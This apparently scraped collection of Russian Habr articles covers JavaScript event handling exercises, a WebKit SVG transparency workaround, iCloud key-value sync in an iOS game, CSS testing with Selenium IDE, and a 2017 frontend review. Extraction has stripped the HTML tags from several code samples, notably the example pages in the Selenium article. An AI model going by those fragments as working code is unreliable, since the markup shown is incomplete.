console.log("Вы остановились.");
}, 500);
});
```
Если задать undefined для clearTimeout, или вызвать его с таймаутом, который уже произошёл, то ничего не произойдёт. Таким образом, не надо осторожничать при его вызове, и мы просто поступаем так для каждого события.
Можно использовать немного другой подход, если нам надо разделить ответы минимальными промежутками времени, но при этом запускать их в то время, когда происходят события, а не после. К примеру, надо реагировать на события «mousemove», показывая текущие координаты мыши, но только каждые 250 миллисекунд.
```
function displayCoords(event) {
document.body.textContent =
"Мышь на " + event.pageX + ", " + event.pageY;
}
var scheduled = false, lastEvent;
addEventListener("mousemove", function(event) {
lastEvent = event;
if (!scheduled) {
scheduled = true;
setTimeout(function() {
scheduled = false;
displayCoords(lastEvent);
}, 250);
}
});
```
#### Итог
Обработчики событий позволяют обнаруживать и реагировать на события, над которыми мы не властны. Для их регистрации используется метод addEventListener.
У событий есть определяющий их тип («keydown», «focus», и так далее). Большинство событий вызываются конкретными узлами DOM, и затем распространяются на их предков, позволяя связанными с ними обработчикам обрабатывать их.
При вызове обработчика ему передаётся объект события с дополнительной информацией о событии. У объекта также есть методы, позволяющие остановить дальнейшее распространение (stopPropagation) и предотвратить обработку события браузером по умолчанию (preventDefault).
Нажатия на клавиши запускают события «keydown», «keypress» и «keyup». Нажатия на кнопки мыши запускают события «mousedown», «mouseup» и «click». Движения мыши запускают события «mousemove», и возможно «mouseenter» и «mouseout».
Прокрутку можно обнаружить через событие “scroll”, а изменения фокуса через события «focus» и «blur». Когда заканчивается загрузка документа, у объекта window запускается событие “load”.
В одно и то же время может работать один участок программы. Поэтому обработчики событий и другие запланированные скрипты будут ждать окончания работы текущих.
#### Упражнения
##### Цензура клавиатуры
В промежутке с 1928 по 2013 год турецкие законы запрещали использование букв Q, W и X в официальных документах. Это являлось частью общей инициативы подавления курдской культуры – эти буквы используются в языке курдов, но не у турков.
В качестве упражнения на тему странного использования технологий, я прошу вас запрограммировать поле для ввода текста так, чтобы эти буквы нельзя было туда вписать. Насчет копирования и вставки и других подобных возможных обходов правила не беспокойтесь.
```
var field = document.querySelector("input");
// Your code here.
```
##### След мыши
В ранние дни JavaScript, когда было время кричащих домашних страниц с обилием анимированных картинок, люди использовали язык очень вдохновляющими способами. Одним из них был «след мыши» — серия картинок, которые следовали за курсором при его движении по странице.
Я хочу, что бы вы в упражнении сделали такой след. Используйте с абсолютным позиционированием, фиксированным размером и цветом фона. Создайте кучку элементов и при движении мыши показывайте их следом за курсором.
К этому можно подойти многими способами. Можно сделать очень простое или очень сложное решение, как угодно. Простое – хранить фиксированное количество элементов и проходить по ним в цикле, двигая каждый следующий на текущее место курсора, каждый раз когда случается событие «mousemove».
```
.trail { /\* className для элементов, летящих за курсором \*/
position: absolute;
height: 6px; width: 6px;
border-radius: 3px;
background: teal;
}
body {
height: 300px;
}
// Ваш код.
```
##### Закладки
Интерфейс закладок встречается часто. Он позволяет вам выбирать панель интерфейса, выбирая одну из нескольких торчащих закладок над элементом.
В упражнении вам нужно сделать простой интерфейс закладок. Напишите функцию asTabs, которая принимает узел DOM, и создаёт закладочный интерфейс, показывая дочерние элементы этого узла. Ей нужно вставлять список элементов вверху узла, по одному на каждый дочерний элемент, содержащих текст, полученный из атрибута data-tabname. Все, кроме одного из дочерних элементов, должны быть спрятаны (при помощи значения none свойства стиля display), а текущий видимый узел можно выбирать нажатием кнопки.
Когда оно заработает, расширьте функционал, чтобы у текущей активной кнопки был свой стиль.
```
Закладка один
Закладка два
Закладка три
function asTabs(node) {
// Ваш код.
}
asTabs(document.querySelector("#wrapper"));
``` | https://habr.com/ru/post/244041/ | null | ru | null |
# SVG с прозрачным фоном в Chrome и Safari
Здравствуйте, дорогие читатели. Те из вас, кто когда-либо работал с форматом svg, знают о противном и, что самое главное, чрезвычайно старом [баге](https://bugs.webkit.org/show_bug.cgi?id=17744), проявляющемся в webkit-браузерах. Суть бага в том, что если вставить svg-картинку с прозрачным фоном через тег object, то safari и хром зальют её белым цветом — [пример](http://wip.acdstudio.ru/cosmo/svgtransparent/).
Первое решение, которое я встречал в интернете, заключалось в определении браузера через джаваскрипт, и в замене тега object на тег img для webkit-браузеров, так как при вставке svg через img прозрачный бэкграунд отображается правильно. Второе решение сводилось к использованию inline-svg, но для этого сама страница должна быть корректным xhtml-докуметом, что очень не по нраву IE.
Совершенно случайно было найдено третье решение. Настолько элементарное, что удивительно, что никто этого ещё не попробовал (если в этом я ошибаюсь, пожалуйста сообщите мне). Достаточно в svg-файле после тега написать следующие строки:
> `1. <style>
> 2. svg { -webkit-background-clip: text; }
> 3. style>
> \* This source code was highlighted with Source Code Highlighter.`
И тут же свершается магия. Вот ссылка на рабочий [пример](http://wip.acdstudio.ru/cosmo/svgtransparent/index2.html). Спасибо, на этом всё.
### Upd.
Оказалось, что в хроме, начиная по крайней мере с 8-ой версии, баг уже починен. Для сафари всё ещё актуально. Кто-нибудь проверьте в седьмом хроме пожалуйста. | https://habr.com/ru/post/110367/ | null | ru | null |
# Интеграция iCloud на примере игры Cut the Rope
Привет хабра-житель. Сегодня я хотел бы поведать тебе о своем опыте интеграции iCloud в игру Cut the Rope.
На этот пост меня вдохновил отзыв одного пользователя, пришедший на почтовый адрес технической поддержки:
«I do not need any help, I just wanted to ask you something… How did you
run iCloud Cut the Rope even if it is not a universal application? I
alternate with iPhone and iPad without problems, and it is extraordinary.
Unfortunately, no other developer does this, it is only with universal
applications, so I wonder… you are a magician you or others are not
willing to do anything? You are number one for me, thank you for your
beautiful game and support it for long. Hello».
Не знаю насколько экстраординарно то, что для iPad и iPhone версии приложения используется один игровой прогресс, но сегодня я расскажу как этого добиться. Тем более, что это очень просто. Также я расскажу о некоторых проблемах и их решениях, с которыми мы столкнулись при интеграции.
**Что такое iCloud?**
iCloud это бесплатный облачный сервис, для хранения данных, с поддержкой push-технологий. Создан компанией Apple. В iOS появился, начиная с пятой версии. А в Mac OS начиная с версии 10.7 (Lion).
**Проблемы дизайна**
Мы хотели, чтобы использование iCloud для пользователя было максимально прозрачным. Поэтому по умолчанию, мы отключили эту функцию и сделали специальный пункт в меню для ее включения:
Так же это сделано для того, чтобы каждый член семьи мог независимо пройти все коробки на своем iOS устройстве, использующем один и тот же Apple ID.
Поскольку обновление данных происходит асинхронно, мы решили добавить следующее уведомление о наличии сохранения в iCloud:
Это уведомление позволяет легко и просто использовать уже существующий в iCloud прогресс. Показывается оно только один раз, после первой синхронизации. Причем синхронизация происходит независимо от настройки в меню. Настройка влияет лишь на то, применяем ли мы полученный прогресс к локальному.
Прогресс по уровням было решено компоновать только из лучших результатов с каждого устройства. Таким образом, можно пройти одну половину коробки на одном устройстве и другую на втором и получить полный прогресс по коробке на обоих устройствах через несколько синхронизаций.
В игре Cut the Rope есть возможность сброса игрового прогресса. И мы задумались, стоит ли сбрасывать прогресс, сохраненный в iCloud вместе с ним. Решили, что не стоит. Мы подумали, что в iCloud всегда будет храниться последний и лучший результат по каждому уровню, чтобы пользователь в любой момент смог его восстановить, несмотря ни на какие внешние факторы. В случае, если игрок захочет сбросить прогресс и пройти всю игру с нуля, он может выключить синхронизацию с iCloud.
**Интеграция**
Есть два пути интеграции iCloud в iOS приложение:
iCloud document storage (сохранение файлов в iCloud аккаунт пользователя) и
iCloud key-value data storage (сохранение данных типа ключ-значение).
Я расскажу о втором варианте, потому что в нашей игре игровой прогресс сохраняется именно таким образом — парой уровень-результат.
1. Прежде всего, нужно включить поддержку iCloud в приложении на сайте [developer.apple.com](http://developer.apple.com) и перегенирировать соответствующие профили.
2. Включить entitlements в проекте.
В xcode версии 4.2 это делается следующим образом:
В Project navigator дважды кликаем по проекту, выбираем требуемый target и на вкладке Summary в разделе Entitlements включаем чекбокс напротив строчки “Enable Entitlements”.
3. В поле iCloud Key-Value Store указать идентификатор контейнера, используемый в приложении. Этот идентификатор может быть одинаковым для разных приложений. Именно таким образом и реализована возможность использования одного прогресса для двух разных приложений. В итоге, для наших приложений идентификатор будет выглядеть как «com.zeptolab.ctr», для полных версий (iPhone и iPad). И «com.zeptolab.ctrlite», для бесплатных версий. В нашем случае пришлось разделить файлы прогресса, потому что в бесплатных версиях другое количество и порядок уровней.
Вот так выглядят правильные настройки в нашем проекте:
4. В коде приложения добавить прослушивание сообщений об изменении данных, например так:
`[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(notification:) name:NSUbiquitousKeyValueStoreDidChangeExternallyNotification object:[NSUbiquitousKeyValueStore defaultStore]];`
И не забыть отписаться от этих сообщений, когда они перестанут быть нужны:
`[[NSNotificationCenter defaultCenter] removeObserver:self name:NSUbiquitousKeyValueStoreDidChangeExternallyNotification
object:[NSUbiquitousKeyValueStore defaultStore]];`
5. Соответственно в методе
`-(void)notification:(NSNotification *)notification`
обработать ситуацию получения новых данных.
6. Работа с NSUbiquitousKeyValueStore на примере словаря.
Доступ к словарю осуществляется следующим образом:
`NSUbiquitousKeyValueStore* store = [NSUbiquitousKeyValueStore defaultStore];
NSDictionary* storedDict = [store dictionaryForKey:GAME_PROGRESS];`А так его можно синхронизировать:
`NSUbiquitousKeyValueStore* store = [NSUbiquitousKeyValueStore defaultStore];
[store setDictionary:dict forKey:GAME_PROGRESS];
[store synchronize];`
**Примечание**
Интерфейс NSUbiquitousKeyValueStore очень похож на NSUserDefaults. Но второй нельзя полностью заменить первым. В приложении всегда должен быть локально сохранен актуальный игровой прогресс.
**Поддержка старых прошивок**:
Поскольку iCloud появился только начиная с iOS 5, то для совместимости с более ранними версиями этот функционал придется отключить.
Делается это следующим образом:
* Ставим weak link на Foundation.framework, иначе при запуске на старых прошивках столкнемся с такой ошибкой:
«dyld: Symbol not found: \_OBJC\_CLASS\_$\_NSUbiquitousKeyValueStore».
* И добавляем проверку в коде на доступность iCloud функционала, например так:
`+(BOOL)isCloudAvailable
{
id class = NSClassFromString(@"NSUbiquitousKeyValueStore");
return class != nil;
}`
И изолируем остальной код с её помощью.
Спасибо за внимание. Надеюсь, кто-то найдет эту статью интересной.
**Полезные ссылки**
[iCloud Programming Guide](https://developer.apple.com/library/ios/#documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/iCloud/iCloud.html)
[NSUbiquitousKeyValueStore Class Reference](https://developer.apple.com/library/mac/#documentation/Foundation/Reference/NSUbiquitousKeyValueStore_class/Reference/Reference.html) | https://habr.com/ru/post/137947/ | null | ru | null |
# Тестируем CSS в Selenium IDE
Я все больше в своей практике пытаюсь использовать автоматизированное тестирование. Стараюсь при этом не плодить инструменты и библиотеки, обходиться простыми подходами. Не так давно, я задумался о том, как протестировать CSS-файлы. Поиск по Интернету выявил следующие точки зрения на этот вопрос:
1. Тестирование CSS не имеет смысла, так как это декларативный язык, а его результатом является сверстанное изображение страницы, которое можно оценить лишь визуально.
2. Протестировать CSS можно с помощью снятия битмапов с сгенерированной страницы и сверка ее с эталонным изображением. Для этого даже есть некоторые инструменты.
3. Нашлась некоторая библиотека CSS-Unit.
Должен сказать, что все варианты мне не понравились. В конечном итоге мне удалось протестировать CSS используя текстовый редактор, Firefox + Selenium IDE и… и больше ничего.
#### Немного теории
Наиболее конструктивные идеи мне принесла длительная медитация над вкладкой Firebag «Cкомпилированный стиль».
По содержимому этого окна стало ясно, что браузер генерирует страницу как минимум в два этапа.
1. Определение всех параметров всех элементов, на основе CSS
2. Верстка страницы, на основе полученных значений
Если второй этап никак не протестировать, кроме как битмапами, то первый, скорее всего, вполне поддается автоматизированному тестированию. А ведь именно на первом этапе возникают почти все ошибки в написании CSS. Больше половины жизни WEB-верстальщик проводит, рассматривая зачеркнутые и подсвеченные строчки в отладочном окне стилей, пытаясь понять, что от чего унаследовалось, и что к чему применилось. Если удастся это протестировать, мы снимем большинство проблем с CSS-файлами в нашем проекте.
Все, что нам нужно – это получить доступ к значениям, показывающимся в закладке Firebag «Cкомпилированный стиль». Недолгое рыскание по Интернету привело к обнаружению функции:
```
var style = window.getComputedStyle(element[, pseudoElt]);
```
Название, говорит само за себя. Единственное, что можно пояснить – это второй параметр. Он может быть полезен, если мы захотим, например, узнать, какого цвета будет ссылка, если на нее наведут курсор. Осталось только вспомнить, что в Selenium IDE есть замечательное семейство функций `xxxEval`, которые могут вычислить любое JavaScript выражение. Теперь можно опробовать все это на практике.
#### Немного практики
Проводим небольшую подготовительную работу. Создаем структуру папок:
```
project – корень проекта
project/css – место для css
project/tests – место для тестовой инфраструктуры
project/tests/html-examples – место для тестовых примеров html-кода
project/tests/selenium-tests – место для Selenium-тестов
```
Отдаем папку `project` под управление нашему любимому http-серверу, и настраиваем к нему доступ по адресу `project.localhost`.
В корне, по давно сложившейся привычке, заводим файл `index.html`, который делает наш проект похожим на реальный, а также символизирует исходный код проекта, безжалостно изменямый программистами независимо от нашей воли и желания. Одновременно заводим файл `styles.css`, который содержит css-код который мы будем разрабатывать и тестировать.
Предположим, в нашем проекте нам нужно выводить уведомляющие сообщения. Они должны выводится зеленым шрифтом. Сообщение состоит из заголовка ```и основного текста . Шрифт заголовка 20px`, основного текста `14px`. Для размещения сообщений программисты зарезервировали контейнер ``. В соответствии с этой ситуацией наши файлы index.html` и `styles.css` на момент начала тестирования имеют следующий вид:
`project.localhost/index.html`
```
Super project
=============
It's really very big and complex project !
Hi,Guest
========
Welcome to our beautiful world!
```
`project.localhost/css/styles.css`
```
div.notify-message h1 {
color:green;
font-size: 20px;
}
div.notify-message p {
color:green;
font-size: 14px;
}
```
Нам нужно протестировать `styles.css`. Велик соблазн написать тест сразу с использованием `index.html`. Но мы помним, что он может меняться (а может и вообще исчезнуть при очередной смене тим-лидера). Поэтому воспроизводим требуемую ситуацию в файле `notify-message-example.html`
`project.localhost/tests/html-examples/notify-message-example.html`
```
Notify message
==============
It's notify message
```
Для целевых объектов мы назначили `id`, чтобы быстрее их отыскать в DOM-структуре. Постфикс `-test` призван обозначить, что `id` предназначен лишь для целей тестирования. Открываем наш любимый Firefox с Selenium IDE и вводим следующий тест (исходники тестов, которые Selenium IDE сохраняет в HTML-формате, приводятся без тегов, чтобы улучшить читаемость):
`project.localhost/tests/selenium-tests/notify-message-test.html`
```
open
/tests/html-examples/notify-message-example.html
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('color');
green
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('color');
green
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('font-size');
20px
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('font-size');
14px
```
Запускаем
`[error] Actual value 'rgb(0, 128, 0)' did not match 'green'`
`[error] Actual value 'rgb(0, 128, 0)' did not match 'green`'
Оказывается `getComputedStyle()` возвращает цвета в виде `rgb(r,g,b)`. Наверное, это правильно. В тестах не будет путаницы, если верстальщик будет использовать разные обозначения для одного и того же цвета. Корректируем тест.
`project.localhost/tests/selenium-tests/notify-message-test.html v2`
```
open
/tests/html-examples/notify-message-example.html
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('color');
rgb(0, 128, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('color');
rgb(0, 128, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('font-size');
20px
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('font-size');
14px
```
#### Включаем режим паранойи
Естественно, к этому тесту наиболее въедливые тестировщики найдут что добавить. В частности, можно сделать проверку, что наши стили не затрагивают чистых ```и .
project.localhost/tests/html-examples/clear-example.html`
```
Not message
===========
It is not message
```
`project.localhost/tests/selenium-tests/clear-test.html`
```
open
/tests/html-examples/clear-example.html
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('color');
rgb(0, 0, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('color');
rgb(0, 0, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('font-size');
32px
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('font-size');
16px
```
Запускаем.
Будьте внимательны – тесты могут не пройти, в зависимости от настроек браузера, но ведь на то оно и тестирование.
#### Делаем рефакторинг
Тесты написаны, что дальше? Дальше – все преимущества разработки с применением автоматизированного тестирования. Например, рефакторинг. Посмотрев на наш CSS файл, мы видим, что две строчки, касающиеся зеленого цвета повторяются. Попробуем это исправить. Пусть мы не совсем уверены в знании правил CSS, которые запомнить еще труднее, чем понять. Теперь нас это не остановит. Ведь наш код под защитой тестов.
`project.localhost/css/styles.css v2`
```
div.notify-message h1{
color:green;
}
div.notify-message h1 {
font-size: 20px;
}
div.notify-message p {
font-size: 14px;
}
```
`[error] Actual value 'rgb(0, 0, 0)' did not match 'rgb(0, 128, 0)'`
Ах, да!!! Забыли при копировании подправить селектор.
`div.notify-message` ~~`h1`~~ `{`
`color:green;`
`}`
Тест пройден.
#### Разработка CSS в стиле TDD
Теперь мы можем полностью применять концепции Test Driven Development. Предположим, что поздно вечером (как обычно, перед деадлайном) к web-верстальщику приходит web-программист и начинает что-то невнятно бормотать и делать руками неопределенные жесты. (Прошу программистов не обижаться – это камень и в мой огород, так как мне приходится быть и тем и тем). Из спутанного рассказа становится ясно, что нужно еще и выводить сообщения об ошибке, которые должны быть красного цвета. При просмотре файлов проекта оказывается, что теперь файл `index.html` имеет следующий, никем не предугаданный, вид:
`project.localhost/index.html v2`
```
Super project
=============
It's really very big and complex project !
Hi,Guest !
==========
Welcome to our beautiful word!
You are not authorized.
=======================
Please login or register now.
```
Оторвавшись от просмотра телесериала “Бэтмен навсегда”, засучив рукава, сохраняя по возможности хладнокровие, в соответствии с концепцией "сначала тесты", web–верстальщик создает файл:
`project.localhost/tests/html-examples/error-message-example.html`
```
Error message
=============
It's error message
```
И добавляет в Selenium IDE еще один тест:
`project.localhost/tests/selenium-tests/error-message-test.html`
```
open
/tests/html-examples/error-message-example.html
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('color');
rgb(255, 0, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('color');
rgb(255, 0, 0)
verifyEval
window.getComputedStyle(window.document.getElementById('h1-test'),null).getPropertyValue('font-size');
32px
verifyEval
window.getComputedStyle(window.document.getElementById('p-test'),null).getPropertyValue('font-size');
16px
```
`[error] Actual value 'rgb(0, 0, 0)' did not match 'rgb(255, 0, 0)'`
`[error] Actual value 'rgb(0, 0, 0)' did not match 'rgb(255, 0, 0)'`
`[error] Actual value '32px' did not match '20px'`
`[error] Actual value '16px' did not match '14px'`
В соответствии с классикой TDD тест не проходит. Дорабатываем CSS.
`project.localhost/css/styles.css v3`
```
div.error-message {
color:red;
}
div.notify-message {
color:green;
}
div.notify-message h1,
div.error-message h1 {
font-size: 20px;
}
div.notify-message p,
div.error-message p {
font-size: 14px;
}
```
Тесты пройдены.
#### Развитие без препятствий
Приведенный пример элементарный, но думаю, что его можно масштабировать на большие проекты. Кроме очевидных выгод от автоматизированного тестирования есть еще положительные моменты. Постепенно в каталоге `html-examples` начнут накапливаться тестовые html-файлы. Их пользу трудно переоценить. Это - запротоколированные прецеденты использования html в проекте. Этими файлами можно пользоваться в спорных ситуациях, когда неясно кто прав – программист или верстальщик. Когда в команду придет новый человек, эти файлы здорово помогут войти в курс дела и в правила разработки.
В заключение приведу девиз TDD-разработчиков, который мне очень нравится:
Желаю Вам успешных проектов, красивых CSS-файлов и спокойного сна по ночам.````` | https://habr.com/ru/post/190358/ | null | ru | null |
# Фронтенд-2017: о самом важном
Много всего произошло в 2017-м, на самом деле — и подумать страшно — сколько всего случилось. Всем нравится шутить о том, как быстро всё меняется в разработке фронтенда, и в последние несколько лет это, вероятно, так и было. Рискуя быть неоригинальным, хочу сказать, что в 2017-м всё было не так, как прежде. Тенденции веб-разработки стабилизировались. В частности, популярные библиотеки стали, в большинстве своём, ещё популярнее, вместо того, чтобы сдвинуться на второй план под натиском конкурентов. В целом же веб-разработка стала гораздо более зрелой средой, чем раньше.
[](https://habrahabr.ru/company/ruvds/blog/345792/)
В этом материале мы поговорим о некоторых важных событиях, которые произошли в этом году в экосистеме клиентской веб-разработки, обращая особое внимание на общие тренды.
Об анализе популярности технологий
----------------------------------
Сложно предсказать, обретёт ли некая технология серьёзную распространённость, особенно, когда имеется нечто, уже весьма популярное. Анализ данных для опенсорсных проектов — тоже непростое дело. Рассказывая о технологиях мы, как правило, будем анализировать несколько показателей. Здесь хотелось бы сказать об особенностях и о недостатках этих показателей.
* Число звёзд на GitHub слабо связано с популярностью библиотеки. Нередко люди ставят звёзды библиотекам, которые кажутся им интересными, после чего к этим библиотекам никогда уже не возвращаются.
* Тренды Google полезны для того, чтобы выявлять очень общие тенденции, но тут нельзя найти данных с достаточной детализацией для того, чтобы точно сравнивать некие наборы инструментов.
* Объём вопросов на StackOverflow больше является показателем того, как часто программисты не понимают особенностей некоей технологии, чем того, насколько она популярна.
* Статистика загрузок в NPM — наиболее точный показатель того, как много разработчиков действительно использует конкретную библиотеку. Но даже эти данные могут быть не вполне точными, так как они также включают в себя автоматические загрузки, вроде тех, которые выполняются средствами непрерывной интеграции.
* Исследования, вроде [State of JavaScript 2017](https://stateofjs.com/), полезны для выявления трендов среди целевых аудиторий довольно большого размера.
Фреймворки
----------
### ▍React
[React 16](https://reactjs.org/blog/2017/09/26/react-v16.0.html) вышел в сентябре 2017-го. В этом релизе было полностью переписано ядро фреймворка без серьёзных изменений API. В новой версии React имеется улучшенная обработка ошибок, тут были представлены так называемые [границы ошибок](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html) и поддержка вывода подсекции дерева рендеринга в другой узел DOM.
Команда React решила переписать ядро для того, чтобы обеспечить поддержку асинхронного рендеринга в будущих релизах, что невозможно было реализовать на предыдущей архитектуре. Благодаря асинхронному рендерингу, React позволит избежать блокировки главного потока при работе с тяжёлыми приложениями. План разработчиков заключается в том, чтобы предложить эту возможность в виде необязательной функции в одном из будущих младших релизов React 16, в итоге, этого можно ожидать в 2018-м.
React, кроме того, после некоторого периода разногласий, касающихся используемой в нём ранее лицензии BSD, перешёл на [лицензию MIT](https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/). Многие признавали, что то, что касается патентов, накладывало слишком сильные ограничения на работу с фреймворком, что приводило к тому, что многие команды решали перейти на альтернативные JavaScript-фреймворки для фронтенда. Однако, эту позицию оспаривали, говоря, что разногласия были [безосновательными](https://blog.cloudboost.io/3-points-to-consider-before-migrating-away-from-react-because-of-facebooks-bsd-patent-license-b4a32562d268), и что новый подход, на самом деле, делает пользователей React менее защищёнными, чем прежде.
### ▍Angular
После восьми бета-релизов и шести предварительных выпусков, наконец, в марте, вышел Angular 4. Основной особенностью этого выпуска была предварительная компиляция: элементы интерфейса теперь компилируются во время сборки, а не во время рендеринга.
Это означает, что Angular-приложения больше не нужно поставлять с компилятором для визуальных элементов приложения, что значительно уменьшает размер пакета. В этом релизе, кроме того, улучшена поддержка серверного рендеринга и добавлено множество небольших улучшений, повышающих удобства работы с языком шаблонов Angular.
В течение 2017-го года Angular продолжил терять позиции в сравнении с React. Хотя Angular 4 и оказался популярным релизом фреймворка, теперь он даже дальше от вершин рейтингов, чем был в начале года.
*Загрузки Angular, React и Vue в NPM. Источник: npmtrends.com*
### ▍Vue.js
Для Vue 2017-й был замечательным годом. Этот фреймворк стал в один ряд с React и Angular, войдя в число ведущих платформ для разработки фронтенда. Он стал популярным благодаря его простому API и богатому набору вспомогательных средств. Так как он имеет язык шаблонов, похожий на Angular, и компонентную философию React, Vue часто можно было увидеть в роли платформы, которая представляет своего рода компромиссный вариант между Angular и React.
В прошлом году Vue испытал буквально взрывной рост. Это привело к значительному вниманию прессы к этому фреймворку, к появлению десятков [популярных библиотек](https://github.com/vuejs/awesome-vue#components--libraries) для разработки пользовательских интерфейсов и шаблонов проектов. Крупные компании начали внедрять Vue. Среди них — Expedia, Nintendo, Gitlab и [многие другие](https://madewithvuejs.com/).
В начале года у Vue было 37 тысяч звёзд на GitHub и 52 тысячи еженедельных загрузок в NPM. К середине декабря звёзд уже было 76 тысяч, а загрузок в неделю — 266 тысяч, то есть — примерно вдвое больше звёзд и в пять раз больше загрузок.
По сравнению с React, у которого, по данным NPM на середину декабря, было 1.6 миллиона еженедельных загрузок, всё это выглядит не так уж и впечатляюще. Можно ожидать, что стремительный рост популярности Vue продолжится, и, возможно, он станет одним из двух ведущих фреймворков в 2018.
Подводя итоги разговора о фреймворках, можно сказать, что React на данный момент — абсолютный лидер, Angular пока не сдаётся, а популярность Vue тем временем продолжает расти.
ECMAScript
----------
Спецификация ECMAScript 2017-го года, на которой основан JavaScript, вышла в июне после нелёгкого процесса [рассмотрения предложений](https://github.com/tc39/ecma262), завершившегося внедрением нескольких инновационных идей, таких, как асинхронные функции, разделяемая память и атомарные операции.
Асинхронные функции позволяют писать на JavaScript чистый и лаконичный асинхронный код. Эту возможность на данный момент [поддерживают](https://caniuse.com/#search=async%20fun) все ведущие браузеры. Node.js понимает асинхронные функции с версии 7.6.0, после перехода на движок V8 5.5, который был выпущен в конце 2016-го, и характеризуется значительными улучшениями в области производительности и работы с памятью.
[Разделяемая память и атомарные операции](http://2ality.com/2017/01/shared-array-buffer.html) — это просто потрясающие возможности, которые пока не привлекли к себе особого внимания. Работа с разделяемой памятью реализуется благодаря объекту `SharedArrayBuffer`, что позволяет веб-воркерам работать с одними и теми же фрагментами типизированного массива, расположенного в памяти. Воркеры (и основной поток) используют атомарные операции, предоставляемые новым API `Atomics` для обеспечения безопасного доступа к памяти из разных контекстов. `SharedArrayBuffer` предлагает гораздо более быстрый, чем раньше, метод обмена данными между воркерами в сравнении с передачей сообщений или с использованием передаваемых объектов.
Широкое внедрение технологий использования разделяемой памяти очень важно в грядущие годы. Это позволит обеспечить производительность JS-приложений и игр на уровне, близком к машинному коду, что делает веб более конкурентоспособной платформой. Приложения могут становиться более сложными и выполнять больше тяжёлых операций в браузере, не жертвуя производительностью, и не перекладывая решение различных задач на сервер. По-настоящему параллельная архитектура с разделяемой памятью — это, в частности, отличный козырь для любого, кто стремится создавать игры с помощью WebGL и веб-воркеров.
По состоянию на декабрь 2017-го, разделяемая память и атомарные операции поддерживаются всеми ведущими браузерами, и Edge, начиная с версии 16. Node в настоящий момент не поддерживает веб-воркеры, поэтому у команды Node нет пока планов поддержки разделяемой памяти. Однако, известно, что в настоящий момент этот вопрос [обсуждается](https://github.com/nodejs/node/issues/13143), поэтому вполне возможно, что эти технологии доберутся в будущем и до Node.
В итоге можно сказать, то разделяемая память значительно упростит выполнение высокопроизводительных параллельных вычислений в JavaScript и сделает их гораздо эффективнее.
WebAssembly
-----------
Технология WebAssembly (или WASM) даёт возможность компилировать код, написанный на других языках, в формат, выполнение которого поддерживают браузеры. Этот код представляет собой низкоуровневый язык, похожий на ассемблер, который создан с расчётом на обеспечение производительности, близкой к машинному коду. JavaScript может загружать и выполнять модули WebAssembly с использованием нового API.
Это API, кроме того, даёт доступ к [конструктору памяти](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/WebAssembly/Memory), который позволяет JavaScript напрямую работать с той же памятью, с которой работает экземпляр WASM-модуля, что даёт возможность интеграции WASM с JS-приложениями на более высоком уровне.
В настоящее время WebAssembly поддерживают [все ведущие браузеры](https://caniuse.com/#feat=wasm). В частности, в Chrome такая поддержка появилась в мае, в Firefox — в марте, в Edge — в октябре. Safari поддерживает эту технологию с 11-го релиза, который поставляется с MacOS High Sierra, при этом соответствующее обновление доступно для релизов Sierra и El Capitan. WebAssembly, кроме того, поддерживают Chrome для Android и Safari Mobile.
Код на C/C++ можно компилировать в WebAssembly с использованием компилятора [emscripten](http://kripken.github.io/emscripten-site/index.html), соответствующим образом его [настроив](https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm). В WebAssembly можно компилировать [Rust](https://hackernoon.com/compiling-rust-to-webassembly-guide-411066a69fde), а так же [OCaml](https://github.com/sebmarkbage/ocamlrun-wasm). Есть множество способов компиляции JavaScript (или чего-то близкого к нему) в WebAssembly. Кое-что из этого, вроде [Speedy.js](https://github.com/MichaReiser/speedy.js) и [AssemblyScript](https://github.com/AssemblyScript/prototype), задействует TypeScript для проверки типов и реализует низкоуровневые типы и базовое управление памятью.
Ни один из этих проектов пока не готов к продакшну, их API часто меняются. Если кому-то [хочется](https://github.com/WebAssembly/design/issues/219) компилировать JS в WASM, он может ожидать, что эти разработки разовьются во что-то более серьёзное с ростом популярности WebAssembly.
В настоящий момент существует множество по-настоящему интересных [проектов на WebAssembly](https://github.com/mbasso/awesome-wasm). Так, вот [реализация Virtual DOM](https://github.com/mbasso/asm-dom), нацеленная на C++, позволяющая создавать фронтенд-проекты целиком на C++. Если в вашем проекте используется Webpack, вот библиотека [wasm-loader](https://github.com/ballercat/wasm-loader), которая устраняет необходимость в самостоятельной загрузке и разборе .wasm-файлов. [WABT](https://github.com/WebAssembly/wabt) предлагает набор инструментов, который позволяет переключаться между бинарным и текстовым форматами WebAssembly, выводить сведения о бинарных файлах WASM и объединять .wasm-файлы.
Можно ожидать роста популярности WebAssembly в будущем году, с появлением большего количества инструментов, и благодаря тому, что сообщество JS обратит внимание на его возможности. Сейчас технология WASM находится в «экспериментальной» фазе, и браузеры только недавно начали её поддерживать. Эта технология станет нишевым инструментов для ускорения задач, интенсивно использующих ресурсы процессора, таких, как обработка изображений и 3D-рендеринг. В итоге же, по мере развития, я подозреваю, что WASM найдёт применение и в более распространённых приложениях.
В результате можно сказать, что технология WebAssembly способна оказать колоссальное воздействие на веб-разработку, но пока технология это очень молодая.
Менеджеры пакетов
-----------------
